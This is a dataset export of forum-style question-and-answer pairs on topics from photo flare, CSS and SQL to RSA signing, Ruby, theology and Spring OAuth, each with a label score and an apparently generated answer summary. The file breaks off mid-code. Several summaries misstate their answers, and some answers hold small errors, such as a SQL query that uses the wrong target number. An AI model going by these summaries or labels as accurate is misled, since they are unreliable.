summary
stringlengths 15
147
| text
stringlengths 1
19.3k
| answer
stringlengths 32
22.6k
| labels
float64 0.33
1
| answer_summary
stringlengths 5
164
|
---|---|---|---|---|
What creates this strange flare and how to prevent it?
|
I shot at a concert for the first time. The pictures were pretty good for the capability of my equipment, but on some shots, the light has a very strange flare. It isn't the usual rays, but some soft, non-symmetric form which I find quite strange, and, on most shots, distracting.
On this image, you can see it just above Gino's head and also behind his back, to the right of the mic stand. I am not sure if the slight blue lines on the left side of the picture (they form a triangle aimed at Chris's head, maybe not visible on all monitors) are part of the problem or if they come from a different light source.
What makes them appear, and how do I avoid them?
I shot with a D90 with a 18-200 lens, no filters or hoods attached. The settings were quite strained (iso 3200, often at max length and max aperture for the length. This specific picture is 1/125, f 5.3, 95 mm).
|
If you're talking about the strange arcs like in the bottom left corner of this picture:
Then it's just flare caused by shooting into a lightsource. Concert lights tend to produce strong flaring effects as they are very focussed.
The only fix is to use a different lens (they all flare differently) or not shoot directly into any lightsources. However when I'm shooting concerts I usually shoot directly into the lights on purpose and use any flare as an artistic tool to make the image more interesting.
Here's another image featuring some particularly strange flare from the Canon 50 f/1.8:
| 1 |
flare caused by shooting into a lightsource
|
CSS Div Footer When Resize The Browser
|
I working on a page with a footer. The footer's positioning is like it should, but I have an problem when i resize the browser from bottom to top. For details, you can see the image below :
Here it's my css footer code :
.footer_page {
color: #fff;
text-align: center;
bottom: 30px;
width:100%;
position:absolute;
}
Someone have an suggestions ?
Thanks.
|
If you mean that the footer doesn't stay fixed to the bottom, try
.footer_page, .push {
clear: both;
color: #fff;
text-align: center;
bottom: 30px;
width:100%;
position:absolute;
}
so adding .push and clear:both.
| 0.888889 |
Adding .push and clear:both
|
Can I wire 2 ceiling fans, 5 ceiling spot lights, and 3 closet lights on a singe 15 amp circuit?
|
Can I wire 2 ceiling fans and 5 ceiling spot lights and 3 closet ligthts on a singe circuit with 12 ga wire and a 15 amp breaker?
Or should I wire the 2 ceiling fans on a separate circuit?
|
There should be no problem putting it all on a single 15 ampere circuit. Likely in the worst case scenario, each fixture would consume ~100 watts. That would be using large 52" fans, and 100 watt bulbs in each fixture. With the 10 fixtures, that would be 1000 watts (10 * 100 = 1000). A 15 ampere 120 volt circuit can provide 1800 watts of power (15A * 120V).
More realistically, you're going to be using lower wattage fixtures, especially nowadays with CFL and LED bulbs becoming more common. Here's some calculations based on various wattage devices.
10 devices @ 75 watts each = 750 watts.
10 devices @ 60 watts each = 600 watts.
2 fans @ 100 watts, and 8 lights @ 60 watts = 680 watts.
2 fans @ 75 watts with 3 60 watt blub light kits, and 8 lights @ 100 watts = 1310 watts.
2 fans @ 100 watts with 3 100 watt bulb light kits, and 8 lights @ 100 watts = 1600 watts.
Since it's a 15 ampere circuit, you'll only need 14 AWG conductors. Unless there's a specific reason you're using 12 AWG instead, which is also fine.
| 0.888889 |
A 15 ampere circuit can provide 1800 watts of power (15A * 120V)
|
How can I export only text with a distinctive character style from InDesign to a new document?
|
I had a catalog layout with 200 captions. They all have the same distinctive character style. I am searching for a solution to export only these caption texts with the distinct character style out of InDesign in a new document as for example, an RTF text. The format doesn't matter. It's more important to have only the captions out of the whole catalog.
|
Here's a method that works and doesn't require anything other than basic InDesign features.
It's pretty easy, but has a few steps, so, if you need to do this often, it might be worth looking into using scripts instead (see comments below) so you can do all of this with one click, not many.
1: In a copy of the file, remove all text that doesn't have this character style
Save a copy of the indesign file. We're going to make a mess of this file and you don't want to accidentally save over the real InDesign document.
Delete every character style in the character styles list except the one you're interested in. It'll ask you what to replace each one with. Replace each one with [none].
Open the Edit > Find/Change window (ctrl-f). Switch to 'GREP'
In the Find what: box, enter .* (this will match everything). Leave 'Change to:' blank.
In Find formats, under Character Style, choose [none].
Hit Change all. Everything should be instantly deleted except the text in that one remaining character style.
2: Copy all the remaining text from this indesign file
Export as HTML and copy from there.
File > Export
Choose the format to be HTML. Save this HTML file somewhere.
Open it up in a browser. It'll be a hideous monstrosity to look at - this doesn't matter.
Select all (normally ctrl-A). Copy.
Paste into a plain text editor: e.g. Notepad if you're on Windows, or if you're on a Mac, Textedit after using Format > Make Plain Text. This scrubs out all images and formatting, leaving just the text.
6. Delete that hideous HTML page before anyone sees it...
Tidy up the text as needed - e.g. you'll probably want to find & replace away unwanted paragraph breaks.
3: Profit
| 0.888889 |
InDesign is a simple way to remove all text that doesn't have this character style
|
linq sql where closest to number
|
i have a table
Id Number
1 9
2 10
3 12
4 19
5 20
select Id where Number is closest to 18
it should return row 4 which is 19
how do i write this in linq and tsql? thanks
|
(from q in table
orderby Math.Abs(18 - q.Number)
select q).FirstOrDefault()
and
SELECT TOP 1
*
FROM
table
ORDER BY
ABS(10 - Number)
and for a datetime
var nearTo = new DateTime(1999, 12, 31);
(from q in table
orderby Math.Abs((nearTo - q.Date).TotalSeconds)
select q).FirstOrDefault()
| 1 |
FirstOrDefault() and SELECT TOP 1 * FROM table ORDER BY ABS
|
SQL: Saving MIME-Type or Extension?
|
What's the best way to store information about a BLOB in the DB? The File-Extension (.txt, .rar) or the MIME-Type?
Also, what's better: Store the Filename with or without extension ("file" or "file.txt")?
What I'm primarily talking about is a Desktop-App, not a Web-Application.
|
If we are talking about file upload storage for example I will always store the following fields:
File - varbinary(MAX)
FileName - nvarchar(255) (including file extension, for example "myfile.txt")
FileType - nvarchar(255) (the MIME type)
The MIME type is important if it is a web based application and you want to allow download of the files at some point. Having the MIME type allow you to tell the browser how to best handle the file.
So the direct answer to your question is to save both the MIME type and the Extension. The reason being that you cannot ensure the correct file extension has been supplied so you need the MIME type to identify the file type. But you should store the extension with the filename so as you can provide a valid filename at download time.
| 1 |
File - varbinary(MAX) FileName - MIME type
|
glsl demo suggestions?
|
In a lot of places I interviewed recently, I have been asked many a times if I have worked with shaders. Even though, I have read and understand the pipeline, the answer to that question has been no. Recently, one of the places asked me if I can send them a sample of 'something' that is "visually polished".
So, I decided to take the plunge and wrote some simple shader in GLSL(with opengl).I now have a basic setup where I can use vbos with glsl shaders.
I have a very short window left to send something to them and I was wondering if someone with experience, could suggest an idea that is interesting enough to grab someone's attention.
Thanks
|
How about metaballs ? They make for a pretty interesting demo and there is a lot you can do with shading like point lights, reflection, refraction and so on.
There is also the classic terrain + water demo, in which you can have texturing, shades, displacement mapping (for the water), reflection...
| 1 |
Metaballs are a pretty interesting demo .
|
Are there any significant disadvantages of forwarding a naked domain to the www. homepage always?
|
I have a website set up at www.example.com, and I have example.com set to redirect to www.example.com.
The problem is that it's set to redirect directly to the homepage. For example, example.com/page/123 takes you to www.example.com instead of www.example.com/page/123. The reason I'm doing this is because I don't have access to the .htaccess file, and the only solution I can use is setting up a 301 redirect.
My question is if this will negatively impact my SEO rating at all.
I never link to the non-www version of the site. It's mainly a convenient way to get to the homepage of the site, which is hosted at the www. version. I doubt anyone will take a www. link to a page, strip the www. and link to that version instead (which won't work). Thus, I don't think there are any cases of anyone using the naked domain to get to anything but the homepage of the site. Am I overlooking anything?
|
I don't think it's a huge problem, as long as the majority of links to your site point to the www version. It's worth setting your preferred domain in Google Webmaster Tools.
If you have access to any scripting (e.g. PHP) on your site, you can add a script to the home page to handle anyone redirected from the non-www version. Check the REFERER header then redirect to the equivalent page on the www version.
This will only help users, not search engines, since they generally don't follow multiple redirects. Also, it's best to use a 302 redirect here, because having a 301 from a single URL (www.example.com) to different URLs each time will not work (browsers/SEs will cache the redirect).
| 1 |
If you have access to scripting on your site, you can add a script to the home page .
|
Is it a sin to do "works" for the sake of "rewards" in heaven?
|
I was reading up on an article that was talking about rewards in heavens. Then it struck me, is it a sin to do "works" for the sake of "rewards" in heaven ?
What does the Bible have to say regarding doing works for the sake of rewards in heaven ?==
Side question: What is the difference between "seeking personal gain" and "selfish ambition" ?
|
No. It would not be a sin, necessarily, but simply an incorrect assumption. It may be a sin to teach this, however, because it is contrary to the teachings of Scripture, and you would be leading your brothers and sisters astray.
Consider what is said in Romans 3:27-28:
27 Where, then, is boasting? It is excluded. Because of what law? The law that requires works? No, because of the law that requires faith. 28 For we maintain that a person is justified by faith apart from the works of the law.
If one has not faith, but only has works, it does not count for their salvation. That isn't to say that works are not important, as you can look at James 2:26:
26 As the body without the spirit is dead, so faith without deeds is dead.
If one has faith, works will naturally follow. If one's faith does not produce works, then what is that faith? Our faith should be fruitful and produce works. This is actually analogous to the story of Jesus and the fig tree in Mark 11:12-14:
12 The next day as they were leaving Bethany, Jesus was hungry. 13 Seeing in the distance a fig tree in leaf, he went to find out if it had any fruit. When he reached it, he found nothing but leaves, because it was not the season for figs. 14 Then he said to the tree, “May no one ever eat fruit from you again.” And his disciples heard him say it.
If we are the tree, and we have no faith, it will not produce fruit (works). If we are a tree producing fruit, however, God will bless us and we will feed many (figuratively or literally, depending on the work) with the fruit of our works.
| 0.888889 |
What is the law that requires works?
|
How to move questions from stackoverflow to dba
|
I know some questions were migrated from SO to dba.SE. My question is how can one one flag that a particular question be moved to DBA. I have reputation around 1400 on SO. How can on do it?
I found this question and I though this is DBA related but it might not be.
Roles vs Schema
Also I want to know how strictly this rule is followed that dba related question should be migrated to DBA although SO is also programming related forum.
|
That question is not a good candidate for migration for several reasons.
It's already answered on the site where it was asked. Migrating it now probably won't result in any more answers.
It was asked in 2009. Only new and active questions should be migrated between Stack Exchange sites.
It's probably already been asked and answered on DBA, so migrating it might create a duplicate. (Please check the target site before flagging for migration.)
It doesn't have a lot of detail to begin with. I wouldn't consider that a great question that the community on DBA would be eager to have on their site. (They might not mind having it on their site, but I don't think anyone would actively seek to have it migrated.)
| 0.888889 |
Migrating new and active questions between sites
|
Grouping by day + events spanning several days
|
This is a question that has already been asked on Drupal.org. It's exactly what I need on my view, but it hasn't been answered yet.
Posted by Amanda-333 on April 12, 2011 at 5:58am
I wanted to ask how I can group events by day in a view.
It works fine if I only have events that have their start- and endtime on the same day.
2011-04-12
2011-04-12 10:00 – 2011-04-12 18:00 Event 1
2011-04-12 12:00 – 2011-04-12 14:00 Event 2
2011-04-13
2011-04-13 10:00 – 2011-04-13 18:00 Event 5
2011-04-13 12:00 – 2011-04-13 14:00 Event 8
The problem: I have some events that take several days or weeks.
Example: I create one event with the start date of 2011-04-12 10:00 and the end date of 2011-04-15 19:00 for example.
This event now shows up in the grouped view as
2011-04-12 - 2011-04-18
2011-04-12 10:00 - 2011-04-15 19:00 Event 11
I would like to have that event sorted into the regular day groups (split that event into day parts):
2011-04-12
2011-04-12 10:00 - 2011-04-15 19:00 Event 11
2011-04-13
2011-04-12 10:00 - 2011-04-15 19:00 Event 11
2011-04-14
2011-04-12 10:00 - 2011-04-15 19:00 Event 11
2011-04-15
2011-04-12 10:00 - 2011-04-15 19:05 Event 11
Similar to how it is done in the calendar – day view. But with a simple text list format.
I can not find a way to do this? Perhaps someone can give me a little help?
https://www.drupal.org/node/1124616
|
Make 2 or 3 computed view fields (which will require some php):
1field for day of event
1 or 2 fields for start time and end time dates.
You can group the View output by the first field. Then create the event time range by inlining the 2 other fields.
With these 3 pieces of info the calendar should be able to see the start and end datetimes and make a line representing the event duration.
| 0.777778 |
Create 2 or 3 computed view fields (which will require some php)
|
WordPress - Get posts in custom taxonomy category
|
I have a bit of a strange problem with my WP-query. I have a custom post type (portfolio), with a custom taxonomy called year. I have categories for each year, so what I want to do is display all posts for each year. The problem is, only 2012 works. Doesn't matter if I order the categories ASC/DESC - only 2012 works.
<section id="content">
<?php
$categories = get_categories('taxonomy=year&order=DESC');
foreach($categories as $category) : ?>
<article class="year">
<h2><?php echo $category->name ?></h2>
<div class="items">
<?php
$posts = get_posts('taxonomy=year&post_type=portfolio&year=' . $category->slug);
foreach($posts as $post) : ?>
<div class="item">
<?php
$large_image_url = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full');
echo '<a href="' . $large_image_url[0] . '" title="' . the_title_attribute('echo=0') . '" rel="lightbox[' . $category->slug . ']" >';
the_post_thumbnail('thumbnail');
echo '</a>';
?>
</div>
<?php endforeach; ?>
</div>
</article>
<?php
endforeach;
wp_reset_query();
?>
</section>
What am I doing wrong? To me, it seems right.. I've tried a bunch of different takes on this, everything from real querys to ridiculous sortings but I just can't get it right..
Thank you in advance!
|
I've solved it myself now, still not getting it 100% but it works at least.. There has got to be some smarter way of doing this, since im now looping trough all images for every term. Well, here's the code (get posts grouped by term from custom taxonomy).
<section id="content">
<?php
$categories = get_categories('taxonomy=year&order=DESC');
foreach($categories as $category) { ?>
<article class="year">
<h2><?php echo $category->name ?></h2>
<div class="items">
<?php
$args = array(
'post_type' => 'portfolio'
);
query_posts($args);
$count = 0;
while(have_posts()) : the_post();
$terms = get_the_terms( $post->ID, 'year' );
foreach ( $terms as $term ) {
$imgslug = $term->name;
}
if($imgslug == $category->name) {
if($count == 6) {
echo '<div class="expanded-items">';
}
?>
<div class="item">
<?php
$large_image_url = wp_get_attachment_image_src( get_post_thumbnail_id(), 'full');
echo '<a href="' . $large_image_url[0] . '" title="' . the_title_attribute('echo=0') . '" rel="lightbox[' . $category->slug . ']" >';
the_post_thumbnail('thumbnail');
echo '</a>';
?>
</div>
<?php
}
$count++;
endwhile;
if($count >= 6) {
echo '</div>';
}
?>
</div>
<div class="expand">Visa fler</div>
</article>
<?php } ?>
</section>
That is with an expandable list, so it shows 6 from the start and then expands to show the rest of the items (jQuery).
| 1 |
'get posts grouped by term from custom taxonomy'
|
Simple digital signature example with number
|
I've been looking for a simple which signs a number with some randomly generated key and then verified(decrypts the original number) with the public key, which is generated by the private.
All the examples I've found does not feature an example with real numbers, and all the keys/numbers described with a single letter, which is not really that clear.
|
I'll give a simple example with (textbook) RSA signing. I'm going to assume you understand RSA.
First key gen:
$p\gets 7,q\gets 13,n\gets pq=91, e\gets 5, d\gets 29$
Thus your public key is $(e,n)$ and your private key is $d$.
Say we want to sign the message $m=35$, we compute $s=m^d\bmod{n}$ which is $s\gets 42\equiv 35^{29}\bmod{n}$.
The message and signature get sent to the other party $(m,s)=(35,42)$. Who takes the signature and raises it to the $e$ modulo $n$, or $42^{5}\equiv 35 \bmod{n}$. Then makes sure that this value is equal to the message that was received, which it is, so the message is valid.
| 1 |
How to sign a message
|
Can the update manager download only a single package at a time?
|
I need the update manager to only download a single package at a time and not try to download multiple packages at once.
My slow internet cannot handle multiple connections; slows the download to a crawl and some packages will reset themselves halfway through when they time-out.
EDIT
When using apt-get update multiple repositories get checked:
When using apt-get upgrade multiple packages are downloaded:
|
You have two options here.
1- Use the Queue-Mode configuration option. The default, "host", creates one outgoing connection for each host. If you set it to "access" it will create one connection per URI type (which I understand to mean, one for http, one for ftp, and so on - since most connections are http, this means it'll access each server sequentially).
One way to do this that will also apply to update-manager is to:
echo 'Acquire::Queue-Mode "access";' >/etc/apt/apt.conf.d/75download
if you want to try it with apt-get once to see if it helps:
apt-get -o Acquire::Queue-mode=access update
2- Use the Acquire::http::Dl-Limit option, this is similarly to reduce the bandwidth used to something your connection can handle (and as per the manpage, "this option implicit deactivates the download from multiple servers at the same time").
echo 'Acquire::http::Dl-Limit "70";' >/etc/apt/apt.conf.d/75download
or
apt-get -o Acquire::http::Dl-Limit=70 update
| 1 |
Queue-Mode Configuration
|
Show Windows 7 logon time?
|
On Windows 7 Ultimate, is there a way to see when I logged on into the current session?
I want to find out how long I have been at the PC / when I started it up.
|
You can also use
quser
to see the login time.
| 1 |
Quser to see the login time
|
Does every specialization of Craft you take get the class skill bonus, or just the first?
|
Suppose I'm playing a character with Craft as a class skill. I put 1 rank in it, select Weaponsmith to fit my background and end up with Craft (Weapons) +4. Now, if I later decide I want to be able to make bows and arrows, do I also get another +3 bonus on Craft (Bows) when I invest a new rank? There are different kinds of craft, just like there are different kinds of knowledge, but the class skill bonus for craft is completely unspecified.
|
Yes.
Craft is actually a number of separate skills. So if you have the class bonus for craft you have it for all the skills in the craft "family".
| 0.555556 |
Craft is actually a number of separate skills
|
Store functions in hash
|
I know that in Ruby you can create hash maps like this:
hash = {"name"=>"John"}
But is it possible to have a hash map of methods:
hash = {"v"=> show_version}
and when calling hash["v"] either to execute the show_version function, or to return some kind on pointer that passed to some special method, to execute the function from the hash?
What I am trying to achieve, is to have a hash map of methods, instead of using a case/when construction, as it looks too verbose to me.
|
Not exactly like this, no. You need to get a hold of the Method proxy object for the method and store that in the Hash:
hash = { 'v' => method(:show_version) }
And you need to call the Method object:
hash['v'].()
Method duck-types Proc, so you could even store simple Procs alongside Methods in the Hash and there would be no need to distinguish between them, because both of them are called the same way:
hash['h'] = -> { puts 'Hello' }
hash['h'].()
# Hello
| 0.777778 |
How to store Procs in the Hash?
|
Is it worth bringing a flash for a backpacking trip?
|
I'm going on my honeymoon to Thailand, Cambodia and Vietnam in June for 4 weeks.
I'll bring my Canon t3i + 15-55mm and a 55-250mm lens.
This will be my first travel like this and I definitely want to take some awesome pictures.
I don't have a Flash and I want to buy a Canon Speedlite 430EX when the time comes.
The question is... Is it Worth it to buy this flash for this kind of travel?
|
The answer, as usual, is "it depends". It depends on what kind of shots you hope to get, and how you plan to use your camera. Flash is beneficial for shots where there is not enough ambient light and the area to be lit is fairly small. It is also very useful when you need fill or to overcome extremely backlit subjects, such as when you must face the sun or a very bright window.
Flash can be useful indoors, in churches, museums and other such places. However, a flash will do very little to light an entire church, but might be useful for a statue or a few elements of detail you wish to capture. However, many places forbid flashes, as the cumulative light damages artifacts and artwork. So, instead of a flash for indoor travel photography, you would be better off with a tripod, and simply setting the camera on a slower shutter speed to capture your subject.
For fill light, a flash is really useful. Luckily, you have a built-in flash on your t3i, and this works reasonably well for fill. However, it is likely that the 55-250 lens might be long enough to block some of the flash. The 430EX will provide more light, and throw it further than your on-board, and it is positioned higher, so it will likely clear the lens. It also offers a separate focus light, that really aids in getting focus in low light situations. But frankly, a pocket flashlight, shining on your subject during focus does the same. For fill light, a reflector is a must have, but any white object for reflecting works well in a pinch: t-shirt, magazine, piece of paper.
So, my recommendation is that for travel photography, forget the flash. Buy a tripod instead, put a small flashlight in your pocket, and carry something to use as a reflector.
| 1 |
Flash can be useful indoors, in churches, museums and other places .
|
How to stop SQL server restore from overwriting database?
|
I have a ELMAH database that I want to script the restore of using the following:
RESTORE DATABASE [Elmah]
FROM DISK = N'E:\Elmah_backup_2012_11_02_030003_1700702.bak'
WITH FILE = 1,
MOVE N'Elmah' TO N'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\Elmah.mdf',
MOVE N'Elmah_log' TO N'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\Elmah.ldf',
NOUNLOAD, STATS = 10
GO
Even though I am not including WITH REPLACE each time I execute this statement it restores over the existing database.
I will always drop all databases before this operation and I never want this code to accidentally restore a database over one in production.
How do I change this code so that it will never overwrite an existing database?
I am actually doing this through SMO objects but the principle and results are the same so I am hoping to keep this simplified to just the TSQL necessary in the hopes that I can generalize that information to what needs to be set on the appropriate SMO.Restore object.
|
You need to (a) give the restored database a new logical name, and (b) you need to define new physical file names, so the existing ones won't be overwritten. Try something like this:
RESTORE DATABASE [Elmah_Restored] <== new (and unique) logical database name
FROM DISK = N'E:\Elmah_backup_2012_11_02_030003_1700702.bak'
WITH FILE = 1,
MOVE N'Elmah' TO
N'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\Elmah_restored.mdf', <== new (and unique) physical file name
MOVE N'Elmah_log' TO
N'C:\Program Files\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\DATA\Elmah_restored_log.ldf', <== new (and unique) physical file name
NOUNLOAD, STATS = 10
GO
| 1 |
RESTORE DATABASE [Elmah_Restored]
|
Align tikzpicture to body text with node as reference
|
In a example like the one below I would like to adjust the figure horizontally so that the grid aligns with the surrounding text and the y-axis and the label protrudes into the margin. Note that the width of the x-axis is exactly \textwidth so it should fit comfortably. I could do this manually with a negative \hspace, but this is not very exact and also un-TeXy.
Ideally what I would like to do is to define a point within the tikzpicture environment to serve as reference point for external alignment. Thin I could experiment with aligning the y-axis with the text and whatnot. I did not find a way to this in the Tikz manual.
\documentclass[a4paper,onesided]{article}
\usepackage{tikz}
\usepackage{blindtext}
\begin{document}
\blindtext
\begin{figure}[h!]
\begin{tikzpicture}[y=0.5mm, x=0.333\textwidth]
\def\axissep{5mm}
\def\tickl{2mm}
\def\xlabsep{3mm}
% y-axis
\draw (-\axissep,0) -- (-\axissep,100);
% y-ticks
\foreach \x in {10,20,30,40,60,70,80,90} % avoids double inking on 0, 50 and 100 that becomes thicker
\draw (-\axissep,\x) -- ++ (-\tickl,0);
% y-tickslabels
\foreach \x in {0,50,100}
\draw (-\axissep,\x) -- ++ (-\tickl*2,0);
\foreach \x in {0,50,100}
\node[anchor=east] at (-\axissep-\tickl*2,\x) {\x};
% x-axis
\draw (0,-\axissep) -- ++ (3,0);
\foreach \x in {0,1,...,3}
\draw (\x,-\axissep) -- ++ (0,-\tickl);
% x-labels
\node[below] at (0,-\axissep-\tickl){1};
\node[below] at (1,-\axissep-\tickl){2};
\node[below] at (2,-\axissep-\tickl){3};
\node[below,align=center] at (3,-\axissep-\tickl){4};
% grid
\foreach \x in {0,10,...,100}
\draw[very thin, color=gray] (0,\x) -- (3,\x);
\draw (0,10) -- (1,14) --(2,45) -- (3,23) ++ (1mm,0) node[anchor=west] {\tiny Some label};
\end{tikzpicture}
\end{figure}
\blindtext
\end{document}
|
You can add trim left to tikzpicture:
\documentclass[a4paper,oneside]{article}
\usepackage{tikz}
\usepackage{blindtext}
\begin{document}
\blindtext
\begin{figure}[h!]
\makebox[0pt][l]{\begin{tikzpicture}[y=0.5mm, x=0.333\textwidth,trim left]
\def\axissep{5mm}
\def\tickl{2mm}
\def\xlabsep{3mm}
% y-axis
\draw (-\axissep,0) -- (-\axissep,100);
% y-ticks
\foreach \x in {10,20,30,40,60,70,80,90} % avoids double inking on 0, 50 and 100 that becomes thicker
\draw (-\axissep,\x) -- ++ (-\tickl,0);
% y-tickslabels
\foreach \x in {0,50,100}
\draw (-\axissep,\x) -- ++ (-\tickl*2,0);
\foreach \x in {0,50,100}
\node[anchor=east] at (-\axissep-\tickl*2,\x) {\x};
% x-axis
\draw (0,-\axissep) -- ++ (3,0);
\foreach \x in {0,1,...,3}
\draw (\x,-\axissep) -- ++ (0,-\tickl);
% x-labels
\node[below] at (0,-\axissep-\tickl){1};
\node[below] at (1,-\axissep-\tickl){2};
\node[below] at (2,-\axissep-\tickl){3};
\node[below,align=center] at (3,-\axissep-\tickl){4};
% grid
\foreach \x in {0,10,...,100}
\draw[very thin, color=gray] (0,\x) -- (3,\x);
\draw (0,10) -- (1,14) --(2,45) -- (3,23) ++ (1mm,0) node[anchor=west] {\tiny Some label};
\end{tikzpicture}}
\end{figure}
\blindtext
\end{document}
I also placed the tikzpicture inside a \makebox of 0pt width to prevent the overfull bad box and changed the incorrect onesided to oneside (though that is the default for article).
| 0.666667 |
tikzpicture in makebox of 0pt width to prevent overfull bad box
|
Would Esther really have kept silent?
|
In Esther 7:4 we read
וְאִלּוּ לַעֲבָדִים וְלִשְׁפָחוֹת נִמְכַּרְנוּ, הֶחֱרַשְׁתִּי--כִּי אֵין הַצָּר שֹׁוֶה, בְּנֵזֶק הַמֶּלֶךְ ...
... But if we had been sold for bondmen and bondwomen, I had held my peace, for the adversary is not worthy that the king be endamaged.
Is this true? Had, in fact, the entire Jewish population been sold as slaves Esther would not have said a word about it? Is this simply hyperbole? How do we understand this?
|
I saw an answer in the Midrash Rabba (end of Pesichta 3). Esther was saying that she would be silent, since it could be that they deserved to be sold as slaves. After all, the Torah says in the Tochacha that if the Jews don't keep the Torah they will be sold as slaves.
However, there is no curse in the Torah that says the Jews will be all eradicated. Since she knew that this punishment wasn't "coming from Hashem" (kavyachol), she had to do whatever it took to get rid of it.
| 0.888889 |
Esther's Torah says that if the Jews don't keep the Torah they will be sold as slaves
|
What is the probability that Brian makes money on his first roll
|
Brian plays a game in which two fair, six-sided dice are rolled
simultaneously. For each die, an even number means that he wins that
amount of money and an odd number means that he loses that amount of
money. What is the probability that Brian makes money on his first
roll?
To find the probability, do we need to find the even numbers only. There are 36 outcomes from the two dies. So is there an easy way to get the arrangements?
|
Nine cases have them both odd. Nine have them both even.
So you only have the other 18 to check.
And they come in pairs, as $(2,5)$ is the same as $(5,2)$, so you only have nine cases to check.
| 0.777778 |
Nine cases have them both odd. Nine have them all even.
|
Why does my switch need to be wired in this fashion?
|
Today was my first foray into electronics since high school, in the form of some simple Raspberry Pi experiments. I managed to get a circuit working where a switch controlled an LED with a potentiometer to control the brightness of the LED.
However, I am confused by the wiring of the switch. Firstly, here's a photo of my amazing work:
NOTE: the black lead on the potentiometer is not connected to anything (hard to tell in the photo). Also, I realised afterwards that I could have just inserted the potentiometer into the breadboard rather than soldering wires to it. Noob mistake (one of many).
Here's an attempt at a schematic (also probably wrong because I don't know what I'm doing):
simulate this circuit – Schematic created using CircuitLab
As you can see, I used a PiFace, which comes with the four switches located at the left and towards the bottom of the photo. It is the wiring of this switch that befuddles me. Since each switch has two terminals, I was expecting one terminal to act as an input and the other as an output. That is, I just feed my circuit through those two terminals and job done. But that didn't work.
I managed to find this image online:
This is what prompted me to guess the configuration below, which works. However, I don't understand why it works. Nor do I understand why there are two terminals for each switch if only one seems to be used. I suspect the clue is embedded within the text in the above image:
The four switches, numbered S1 to S4 are connected in parallel to the
first four (0-3) inputs
However, I do not understand what this means. Perhaps a practical example of how I would use each terminal and an explanation of why the grounding is necessary would help my understanding.
|
From PiFace.GitHub.io via PiFace.org.uk
The eight input pins detect a connection to ground (provided as the ninth pin). The four switches are connected in parallel to the first four input pins. The inputs are pulled up to 5V. This can be turned off so that the inputs float.
From this I surmise the following
simulate this circuit – Schematic created using CircuitLab
| 1 |
The eight input pins detect a connection to ground
|
Using sketch to find exact value of trigonometric expression
|
Use sketch to find exact value of $\tan (\cos^{-1}\dfrac{5}{13})$
I drew a right triangle with angle $\theta$ and sides $12,5,3.$
If $\cos \theta=\frac{5}{13},$ then $\sin \theta = \frac{12}{13}$ and $\tan \theta = \frac{12}{5}.$
This isn't correct since tangent is greater than one. How would I solve this correctly? (Please show steps) Thanks.
|
Nope, you're right.
There's no reason that $\tan \theta$ needs to be less than $1$. You're likely able to check for yourself that $\tan(\pi/3) = \sqrt 3$ (or $\tan(60^\circ)$ if you prefer degrees to radians).
| 1 |
No reason that $tan theta$ needs to be less than $1$
|
Remove certain functionality from Rich Text Area field in Salesforce UI
|
I have added a
Rich Text Area
field to an object in Salesforce.
Is it possible to remove the Hyperlink and Attach Image buttons in the Salesforce UI?
I want my users to be able to use all of the other features available from a Rich Text Area, but not the Hyperlink or Attach Image functionality.
Is there a configuration option somewhere for this perhaps?
|
Any configuration or setting for this is definitely available nowhere and using some sidebar component hack is not advisable as Salesforce will soon going to discontinue them.
So in short, I don't think anything like this is possible for now.
| 0.888889 |
Configuration or setting for this is definitely available nowhere and using sidebar component hack is not possible for now
|
What's the best way to scan in hundreds of pictures?
|
I have thousands of old pictures which were sitting in a photo album. Unfortunately, instead of the photo album protecting the pictures, the plastic coverings yellowed, and the pictures themselves had to be carefully extracted from the books. There is also quite a bit of powdered paper (the backings on the books pretty much fell apart while we extracted the pictures), and the fronts of the images are still a bit sticky.
These pictures are 30+ years old, are often extremely faded, and were originally taken on (what I think is) "110 film" -- they are approximately 2.5" squares.
Anyway, I need to scan all these images in to preserve them from further decay. Unfortunately, it's taking forever -- going through less than 100 images took an entire day, even if one discounts any time spent in Photoshop trying to remove some of the photo album's artifacts on the images.
What I really need is some method of scanning the images in faster. Most automated solutions aren't going to work because they accept 4x6s as their smallest image size, and even if that was not the case, the adhesives still stuck to the prints would probably ruin any such device in 5 seconds flat.
Is there a better way of doing this (i.e. fast scanner?) that wouldn't take so much time?
|
If you have some time on your hands, but have lots of photos, you can save money by doing the scanning yourself. You can either use free image editor tools to crop and save the individual images (after scanning multiple images per go) or you can try AutoSplitter.
This simple Windows utility will do the painful splitting and cropping task automatically for you. You can also adjust manually, should it be necessary.
Edit: yes, I'm the author - created the software after having the same problem.
| 1 |
Using AutoSplitter to crop and save multiple images
|
How to specify which resources to protect with Spring Security OAuth2 provider configuration
|
I'm currently implementing a Spring MVC application that is both an OAuth client (in the sense that it consumes data from third party service providers), and an OAuth2 Service Provider (in the sense that it should provide the means for third party oauth clients to consume data from this application from a dedicated REST api).
While I have no issue with the implementation of the application in its capacity as OAuth client, my OAuth2 service provider configuration is interfering with the applications ability to authenticate with service providers- if I enable the Oauth2 config, it appears to intercept callbacks to the application from third party service providers. Disabling it returns the application back to its normal working state.
I'm assuming that this is because I am not specifying which urls I want to the oauth2 provider to govern exclusively- but I can't see any way of specifying this.
To simplify the question how do I configure Spring Security OAuth2 provider to manage one url root (e.g. '/restapi/*'), and this url only, with it ignoring all other urls entirely? I've had a look at the resources at the projects homepage, but nothing is jumping out at me...
This may well be down to how I've defined my security intercept-urls, in which case it may not be an OAuth2 specific question, but how to apply different security schemes to different url schemes. Any advice on how to do that would be great!
|
Out of the box you won't be able to do it with Spring Security 3.0, but you can in 3.1. According to this blog post:
In Spring Security 3.1, you will be able to use more than one http
element to create multiple filter chains. Each chain handles different
paths within the application, for example a stateless API under the
URL /rest/** and a stateful web application configuration for all
other requests.
To do what you want you can subclass the provider security filters and override doFilter() to only apply to certain URLs.
If you are using namespace configuration you'll need to have your subclassed filters replace the corresponding filter in the filter chain. Kindof a pain, but doable. For example, here's how I am doing it for my custom VerificationCodeFilter:
override def afterPropertiesSet() {
setVerificationServices(springVerificationCodeFilter.getVerificationServices)
setClientDetailsService(springVerificationCodeFilter.getClientDetailsService)
setUserApprovalHandler(springVerificationCodeFilter.getUserApprovalHandler)
super.afterPropertiesSet()
